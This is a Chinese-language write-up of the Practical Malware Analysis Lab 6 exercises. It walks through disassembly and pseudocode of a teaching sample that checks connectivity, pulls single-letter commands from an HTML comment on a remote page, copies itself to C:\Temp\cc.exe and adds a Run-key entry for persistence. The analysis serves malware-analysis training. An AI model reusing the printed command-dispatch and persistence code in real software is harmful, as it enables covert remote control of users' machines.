恶意代码分析实战 Lab6

Lab6-1

Q1:在main函数调用的唯一子过程中发现的主要代码结构是什么?

主要是对0x401000处的函数返回值进行一个if判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401040                 push    ebp
.text:00401041 mov ebp, esp
.text:00401043 push ecx
.text:00401044 call sub_401000
.text:00401049 mov [ebp+var_4], eax
.text:0040104C cmp [ebp+var_4], 0
.text:00401050 jnz short loc_401056
.text:00401052 xor eax, eax
.text:00401054 jmp short loc_40105B
.text:00401056 loc_401056: ; CODE XREF: _main+10↑j
.text:00401056 mov eax, 1
.text:0040105B
.text:0040105B loc_40105B: ; CODE XREF: _main+14↑j
.text:0040105B mov esp, ebp
.text:0040105D pop ebp
.text:0040105E retn
.text:0040105E _main endp
.text:0040105E

[ebp+var_4]存储的是0x401000函数的返回值,eax存储main函数得返回值,这里判断0x401000函数的返回值是否为0,是0则main的函数返回0,不是则返回1。

Q2:位于0x40105F的子过程是什么?

0x40105F是printf函数。

该函数调用方式:sub_40105F(aSuccessInterne, v1);

aSuccessInterne是一段提示字符串:“Success: Internet Connection”,v1是判断网络是否连接的标识位。

0x40105F是0x401000中调用的子函数,其伪代码如下:

1
2
3
4
5
6
7
8
9
10
int __cdecl sub_40105F(int a1, int a2)
{
int v2; // edi
int v3; // ebx

v2 = _stbuf(&stru_407098);
v3 = sub_401282(&stru_407098, a1, &a2);
_ftbuf(v2, &stru_407098);
return v3;
}

_stbuf用于初始化一片缓冲区,_ftbuf与之类似,是用于线程安全的处理,sub_401282实则为_output函数,用于可变参数列表的处理,这里的分析可以通过stru_407098的内容推测:

1
2
.data:00407098 ; FILE stru_407098
.data:00407098 stru_407098 FILE <0, 0, 0, 2, 1, 0, 0, 0>

FILE实则为_IO_FILE的结构,FILE <0, 0 0, 2, 1,>指向的是stdout标准输入流,所以可以推测出sub_40105F为printf函数。

Q3:这个程序的目的是什么?

检测系统能否连接网络,是则打印”Success: Internet Connection”,不是则打印”Error 1.1: No Internet”。

Lab6-2

Q1:main函数调用的第一个子过程执行了什么操作?

与lab6-1中0x401000函数一样,判断系统是否连接网络,是则返回1,不能则返回0,并打印出网络状态的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:00401000                 push    ebp
.text:00401001 mov ebp, esp
.text:00401003 push ecx
.text:00401004 push 0 ; dwReserved
.text:00401006 push 0 ; lpdwFlags
.text:00401008 call ds:InternetGetConnectedState
.text:0040100E mov [ebp+var_4], eax
.text:00401011 cmp [ebp+var_4], 0
.text:00401015 jz short loc_40102B
.text:00401017 push offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C call printf
.text:00401021 add esp, 4
.text:00401024 mov eax, 1
.text:00401029 jmp short loc_40103A
.text:0040102B ; ---------------------------------------------------------------------------
.text:0040102B
.text:0040102B loc_40102B: ; CODE XREF: chk_con_401000+15↑j
.text:0040102B push offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030 call printf
.text:00401035 add esp, 4
.text:00401038 xor eax, eax
.text:0040103A
.text:0040103A loc_40103A: ; CODE XREF: chk_con_401000+29↑j
.text:0040103A mov esp, ebp
.text:0040103C pop ebp
.text:0040103D retn
.text:0040103D chk_con_401000 endp

Q2:位于0x40117F的子过程是什么?

与Lab6-1中2的函数一样,为printf函数。

Q3:被main函数调用的第二个子过程做了什么?

首先call InternetOpenA(szAgent,0,0,0,0):

1
2
3
4
5
6
.text:00401049                 push    0               ; dwFlags
.text:0040104B push 0 ; lpszProxyBypass
.text:0040104D push 0 ; lpszProxy
.text:0040104F push 0 ; dwAccessType
.text:00401051 push offset szAgent ; "Internet Explorer 7.5/pma"
.text:00401056 call ds:InternetOpenA

返回值传给[ebp+hInternet]:

1
.text:0040105C                 mov     [ebp+hInternet], eax

呼叫InternetOpenUrlA(hInternet,szUrl,0,0,0,0),hInternet=[ebp+hInternet]:

1
2
3
4
5
6
7
8
9
.text:0040105C                 mov     [ebp+hInternet], eax
.text:0040105F push 0 ; dwContext
.text:00401061 push 0 ; dwFlags
.text:00401063 push 0 ; dwHeadersLength
.text:00401065 push 0 ; lpszHeaders
.text:00401067 push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
.text:0040106C mov eax, [ebp+hInternet]
.text:0040106F push eax ; hInternet
.text:00401070 call ds:InternetOpenUrlA

判断InternetOpenUrlA返回值是否为0:

1
2
3
.text:004010B7                 mov     [ebp+var_4], eax
.text:004010BA cmp [ebp+var_4], 0
.text:004010BE jnz short loc_4010E5

这个if判断语句使用伪代码看比较方便:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ( hFile )
{
v9 = InternetReadFile(hFile, &Buffer, 0x200u, &dwNumberOfBytesRead);
if ( v9 )
{
if ( Buffer != 60 || v2 != 33 || v3 != 45 || v4 != 45 )// <!--
{
printf_40117F(aError23FailToG);
result = 0;
}
else
{
result = v5;
}
}
else
{
printf_40117F(aError22FailToR);
InternetCloseHandle(hInternet);
InternetCloseHandle(hFile);
result = 0;
}
}
else
{
printf_40117F(aError21FailToO);
InternetCloseHandle(hInternet);
result = 0;
}
return result;

若能打开 “http://www.practicalmalwareanalysis.com/cc.htm“ 这个网页,将返回的html数据包中的0x200长度的数据存在Buffer中,并将Buffer的内容与60,33,45,45这几个ascii的值进行比较,翻译为字符串即是”<””!””-“”-“,为html语句的注释符号,没有注释符就打印错误信息,有则将ebp+var_20C处的局部变量作为返回值返回给上级调用。

Q4:在这个子过程中使用了什么类型的代码结构?

该函数调用了InternetReadFile函数,将打开的网站的返回包中的数据存到Buffer中,将Buffer中的注释部分解析出来。

Q5:在这个程序中有任何基于网络的特征的指示吗?

前文函数使用的参数的字符串:

1
2
3
.data:004070C4 szUrl           db 'http://www.practicalmalwareanalysis.com/cc.htm',0
.................
.data:004070F4 szAgent db 'Internet Explorer 7.5/pma',0

访问一个网址 http://www.practicalmalwareanalysis.com ,并使用Internet Explorer 7.5/pma 作为http包中的 User-Agent。

这个恶意代码的目的是什么?

整体框架如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-8h]

if ( !chk_con_401000() )
return 0;
v4 = get_html_401040();
if ( v4 )
{
printf_40117F(aSuccessParsedC, v4);
Sleep(0xEA60u);
}
return 0;
}

首先判断是否可以连接网络,可以则访问 http://www.practicalmalwareanalysis.com 这个网站,并将返回包中的注释解析,输出为“Success: Parsed command is %c”的形式,最后休眠60000ms然后关闭程序。

Lab6-3

Q1:比较在main函数于实验6-2的mian函数的调用。从main中调用的新的函数是什么?

位于0x401130的函数是新出现的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-8h]

if ( !chk_if_con_401000() )
return 0;
v4 = get_html_401040();
if ( v4 )
{
printf_401271(aSuccessParsedC, v4);
sub_401130(v4, *argv);
Sleep(0xEA60u);
}
return 0;
}

Q2:这个新的函数使用的参数是什么?

1
sub_401130(v4, *argv);

一个是v4,为html注释中解析出的字符,一个为argv[0],是运行程序时传入的第一个参数,即程序的名字。

Q3:这个函数包含的主要代码结构是什么?

主要结构是一个HKEY局部变量以及一个switch语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName)
{
HKEY phkResult; // [esp+4h] [ebp-4h]

switch ( a1 )
{
case 97:
CreateDirectoryA(PathName, 0);
break;
case 98:
CopyFileA(lpExistingFileName, (LPCSTR)Data, 1);
break;
case 99:
DeleteFileA((LPCSTR)Data);
break;
case 100:
RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult);
if ( RegSetValueExA(phkResult, ValueName, 0, 1u, Data, 0xFu) )
printf_401271(aError31CouldNo);
break;
case 101:
Sleep(0x186A0u);
break;
default:
printf_401271(aError32NotAVal);
break;
}
}

Q4:这个函数能够做什么?

  1. 在路径 C:\Temp中创建一个文件;
  2. 将运行程序时带的第二个参数为名的文件复制为 C:\Temp\cc.exe;
  3. 删除 C:\Temp\cc.exe;
  4. 将HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中设置C:\Temp\cc.exe;
  5. 休眠100000ms;
  6. 打印一段讯息;

简单整理如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName)
{
HKEY phkResult; // [esp+4h] [ebp-4h]

switch ( a1 )
{
case 'a':
CreateDirectoryA(PathName, 0); // C:\Temp
break;
case 'b':
CopyFileA(lpExistingFileName, Data, 1); //C:\Temp\cc.exe
break;
case 'c':
DeleteFileA(Data); // C:\Temp\cc.exe
break;
case 'd':
RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult);// SubKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0
if ( RegSetValueExA(phkResult, loc_407168, 0, 1u, Data, 0xFu) )
printf_401271(aError31CouldNo); // Error 3.1: Could not set Registry value
break;
case 'e':
Sleep(0x186A0u); // 100,000ms
break;
default:
printf_401271(aError32NotAVal); // Error 3.2: Not a valid command provided
break;
}
}

Q5:在这个恶意代码中有什么本地特征?

  1. 本地存在文件 C:\Temp\cc.exe;
  2. 注册表
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中设置一个值C:\Temp\cc.exe;

Q6:这个恶意代码的目的是什么?

访问http://www.practicalmalwareanalysis.com/cc.htm 这个网站,将返回包中的注释部分的第一个字母当作参数进行判断接下来的行为:

  1. “a”:在路径 C:\Temp中创建一个文件;
  2. “b”:将运行程序时带的第二个参数为名的文件复制为 C:\Temp\cc.exe;
  3. “c”:删除 C:\Temp\cc.exe;
  4. “d”:将HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中设置C:\Temp\cc.exe;
  5. “e”:休眠100000ms;

Lab6-4

Q1:在实验6-3和6-4的main函数中的调用之间的关系的区别是什么?

加了一个循环判断的机制。

基本分析后的main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+0h] [ebp-Ch]
char v5; // [esp+4h] [ebp-8h]

if ( !chk_con_401000() )
return 0;
for ( i = 0; i < 1440; ++i )
{
v5 = get_html_401040(i);
if ( !v5 )
return 0;
printf_4012B5(aSuccessParsedC, v5);
set_reg_401150(v5, *argv);
Sleep(0xEA60u);
}
return 0;
}

Q2:什么新的代码结构已经被添加到main中?

for循环结构。

Q3:这个实验的解析HTML的函数和前面实验中的那些有什么区别?

将User—Agent的参数szAgent的存储方式由全局变量变成了局部变量,并且szAgent中会含有当前已经运行时间的信息。

对比后可以发现多了一行,将aInternetExplor的值输入到参数szAgent中:

1
sprintf(&szAgent, aInternetExplor, a1); //Internet Explorer 7.50/pma%d

汇编:

1
2
3
4
5
6
7
8
9
.text:00401040                 push    ebp
.text:00401041 mov ebp, esp
.text:00401043 sub esp, 230h
.text:00401049 mov eax, [ebp+arg_0]
.text:0040104C push eax
.text:0040104D push offset aInternetExplor ; "Internet Explorer 7.50/pma%d"
.text:00401052 lea ecx, [ebp+szAgent]
.text:00401055 push ecx ; char *
.text:00401056 call _sprintf

也可以看到szAgent的存储方式为[ebp+szAgent],为局部变量。

Q4:这个程序会运行多久?(假设它已经连接到互联网。)

会运行1440分钟,即1天。

循环体运行一次会休眠60秒,运行1440次就是1440分钟:

1
2
3
4
5
6
7
8
9
for ( i = 0; i < 1440; ++i )
{
v5 = get_html_401040(i);
if ( !v5 )
return 0;
printf_4012B5(aSuccessParsedC, v5);
set_reg_401150(v5, *argv);
Sleep(0xEA60u);
}

Q5:在这个恶意代码中有什么新的基于网络的迹象吗?

有,新的基于网络的迹象就是这个程序运行时间会写在User-Agent里面,我们可以通过这个来确定这个程序已经运行了多少分钟。

Q6:这个恶意代码的目的是什么?

和Lab6-3中的恶意代码的目的基本一致,不过会有持续时间1 day:

访问http://www.practicalmalwareanalysis.com/cc.htm 这个网站,将返回包中的注释部分的第一个字母当作参数进行判断接下来的行为:

  1. “a”:在路径 C:\Temp中创建一个文件;
  2. “b”:将运行程序时带的第二个参数为名的文件复制为 C:\Temp\cc.exe;
  3. “c”:删除 C:\Temp\cc.exe;
  4. “d”:将HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中设置C:\Temp\cc.exe;
  5. “e”:休眠100000ms;